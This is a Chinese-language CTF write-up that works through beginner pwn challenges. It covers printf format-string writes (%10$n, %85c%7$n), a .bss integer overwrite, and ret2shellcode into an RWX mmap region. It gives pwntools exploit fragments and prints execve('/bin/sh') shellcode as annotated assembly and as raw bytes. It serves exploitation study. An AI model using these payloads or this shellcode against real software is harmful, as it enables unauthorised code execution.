1.变量的地址
2.如果将变量的地址写成一个32位数然后压栈,在打印的时候是第几个双字,这用于确定%x$n
中的x
3.%x$n之前的字符数决定了把第x个格式化参数指向的变量修改成多少
本题中
可以通过ida得出pwnme的地址0x0804A068
下面尝试观察格式化字符串的第一个双字是printf的第几个格式化双字参数
这句话说地又跟放屁似的,啥意思呢?
比如构造一个格式化字符串
s="AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
作用是判断第一个双字(这里用
0x41414141
AAAA占位),是栈上第几个双字,以此决定%x$n
中的x这里s也会被四个字符一组作为一个双字压栈,那么前四个字符AAAA必然作为一个双字压栈,
1 | your message is: |
整体要按照s给出的格式打印,s自己也会作为一个普通的字符串存储在栈上
这里第10个格式化参数对应的0x41414141
即为s中前四个字符存储在栈上的一个双字,显然这不是一个地址
第一个格式化参数对应的是
0xffebcaee
这是一个地址,再往前的四个A不是格式化参数,是s中的常量
后面第11个格式化参数对应0x2d70252d
对应ascii码-p%-
可想而知,s无论我们继续写多长,第10个参数总是0x41414141
,因为s作为普通的字符串放在栈上距离栈顶较远的地方
现在将s的头四个A换成p32(0x0804A068)
,即将pwnme的地址写成一个双字作为s的头四个字符(非可打印字符)
那么可想而知此时第10个格式化参数就得对应0x0804A068
就差最后一步了,向该地址上写个8
我们已经在最开始写了一个p32(0x0804A068)
相当于4个字符,还需要写入4个字符,随便整四个就可以比如'1234',然后就是%10$n
如此可以写出exp
exp
1 | from pwn import * |
1 | hello 123 |
009hello_pwn(栈缓冲区溢出修改栈中整数)
ida64打开之后F5观察伪代码
1 | read(0, &unk_601068, 0x10uLL); |
1 | __int64 sub_400686() |
read
系统调用函数
1 int read(int fd,char *buf,unsigned nbytes);参数含义:
1.
int fd:
file descriptor 文件描述符fd=0为
STDIN_FLIENO
标准输入的魔数fd=1为
STDOUT_FILENO
标准输出的魔数fd=2为
STDERR_FILENO
标准错误的魔数2.
char *buf:
缓冲区3.
unsigned nbytes:
指定输入的字节数,实际上获取到的输入只能小于等于该值如果从一个小文件里获取大于文件字符数的输入则达不到
nbytes
返回值:
实际获取到的输入字符数
read(0, &unk_601068, 0x10uLL);
从标准输入获取至多16字节的输入到缓冲区unk_601068
双击unk_601068
观察缓冲区在内存的分布
1 | .bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o |
发现缓冲区unk_601068
和dword_60106C
这个需要被溢出修改的变量是在bss段紧挨着存放的,两者都是未初始化的全局变量
那么输入前四个字符就已经写满了缓冲区,dword_60106C
是一个双字四字节,可以容纳四个ascii字符,考虑后面四个字符输入什么才能使其值被修改为1853186401
写成16进制0x6e756161
两两一组一个字节,分组的话恰好分成四组,对应四个ascii码
0x6e=n
0x75=u
0x61=a
0x61=a
输入的字符串在前面的放在低位,即如果str="nuaa"
则str[0]='n',str[1]='u',str[2]='a'
而根据小端方法,下标小的字符会放在低地址,即
'n'->0x60106C
'u'->0x60106D
'a'->0x60106E
'a'->0x60106F
然后从0x60106C
开始连续取四个字节作为一个int
,得到的是0x(高位)61 61 75 6e(低位)
刚好和我们想要的结果0x6e756161
是反着的,因此应该输入aaun而不是nuaa
010string(printf格式化字符串漏洞,ret2shellcode)
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/string] |
64位linux程序,用ida64打开之后直接看F5伪代码
main
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
sub_400D72
v4
作为参数从main传递到sub_400D72
1 | unsigned __int64 __fastcall sub_400D72(__int64 a1) |
sub_400A7D
1 | unsigned __int64 sub_400A7D() |
sub_400BB9
1 | unsigned __int64 sub_400BB9() |
存在格式化字符串漏洞,有可能要利用,联系后文可知,此处要使用printf格式化字符串漏洞,将主函数中
1 | *v4 = 68; |
它俩给溢出修改成相同的值
前面主函数中还有
1 | printf("secret[0] is %x\n", v4); //&v4的16进制表示 |
将v4和v4[1]的地址直接白给了
考虑如何构造这个格式化字符串漏洞攻击
注意到
1 | puts("'Give me an address'"); |
这里输入了一个长整数v2,也是放在栈上的,我们可以把v4的地址输入v2,然后溢出改变之
也可以不使用这里的v2,直接在格式化字符串中完成
首先要找出printf(s)
打印时,v2在栈中,是第几个格式化字符串参数
1 | from pwn import * |
运行结果
1 | Your wish is |
第n个格式化参数 | 不是格式化参数 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
---|---|---|---|---|---|---|---|---|---|
打印内容 | AAAAAAAA | 0x7f6645ea9743 | (nil) | 0x7f6645dc8603 | 0xd | 0xffffffffffffff88 | 0x100000000 | 0x270f | 0x4141414141414141 |
意义 | 9999,刚才输入的v2 | 格式化字符串本身作为一个普通字符串的起始位置 |
可以判断,输入的v2将会被作为第7个格式化字符串参数
然后我们在前面的交互过程中获取到v4的地址,在give me an address
之后输入,作为第七个格式化字符串参数
1 | from pwn import * |
1 | 0x1ccb2a0 |
现在v4的地址放好了,下面开始构造溢出
1 | *v4 = 68; |
因此我们应当将*v4
修改为85,
1 | payload = '%85c%7$n' |
此时执行exp.py
得到
1 | Wizard: I will help you! USE YOU SPELL |
我们成功召唤了巫师
sub_400CA6((_DWORD *)a1)
a1是sub_400D72
的参数,a1的历史沿革:
1 | _DWORD *v4; // [rsp+18h] [rbp-78h]//双字指针类型,int* |
1 | unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) |
mmap
1 void *mmap(void *start , size_t length, int prot, int flags, int fd, off_t offset);mmap是一种内存映射文件的方法,即将一个文件或者其它对象映射到进程的地址空间,实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页面到对应的文件磁盘上,即完成了对文件的操作而不必再调用read,write等系统调用函数。
在本题中mmap要求内核创建一个
0x1000
大小的空间,
prot=7=001|010|100
即该空间具有可读写执行的权限,有可能要写入shellcode并在此处执行由于程序本身开启了NX保护即堆栈不可执行,
因此这里程序没有直接在栈上开缓冲区,而是故意使用了mmap新开了空间,并且赋予该空间
唱,跳,rap,篮球读,写,执行的权限,已经在疯狂暗示ret2shellcode了
只需要写入shellcode
1 | context(os='linux',arch='amd64')#此句必须,不写的话无法获取shell |
然后一个函数指针就会来执行shellcode
执行之后
1 | [*] Switching to interactive mode |
context(os='linux', arch='amd64')
设置pwntools环境,不同的操作系统架构会有不同的汇编指令
由于前面我们check时已经了解到string是一个amd64架构,linux操作系统的程序,因此需要设置一下"上下文"context
1 | from pwn import * |
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/string] |
两个shellcode
是不一样的
shellcode
关于linux amd64
上的shellcode
:
它干了啥呢?
1 | /* execve(path='/bin///sh', argv=['sh'], envp=0) */ |
一开始
1 | push 0x68 |
压栈的16进制数转化为ASCII码为
1 | hs///nib/ |
这是小端存储的,翻译成人话是
1 | /bin///sh |
然后
1 | mov rdi, rsp |
把栈顶指针交给rdi保存,最后还要还回来
然后两条蜜汁语句
1 | push 0x1010101 ^ 0x6873 |
把0x1010101先和0x6873异或一下,然后再和0x1010101异或,这部相当于直接来0x6873吗?
翻译成ASCII码是hs
,这是小端存储的,翻译成人话就是sh
然后
1 | xor esi, esi /* 0 */ |
将0压栈
然后又是蜜汁操作
1 | push 8 |
8先压栈然后退给rsi
,然后rsp
也加到rsi
上,rsi=rsp+8
然后
1 | push rsi /* 'sh\x00' */ |
rsi压栈然后获取rsp栈顶指针作为参数,
edx归0作为第三个参数
1 | push SYS_execve /* 0x3b */ |
系统调用号约定用rax寄存器传递
1 | syscall |
陷阱,系统调用
asm(shellcode)
将汇编指令转化为机器码
1 | from pwn import * |
1 | b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' |
实际上是16进制表示的二进制码
总结
关键点有两个
一是通过某些手段,修改main中
1 | v4 = malloc(8uLL); |
让v4的高低两个双字数值相等
诚如是则sub_400CA6
中if ( *a1 == a1[1] )
成立,下面就可以考虑向mmap创建的虚拟地址空间中写入shellcode
二是写入shellcode之后,一个强行函数指针就会执行该shellcode区域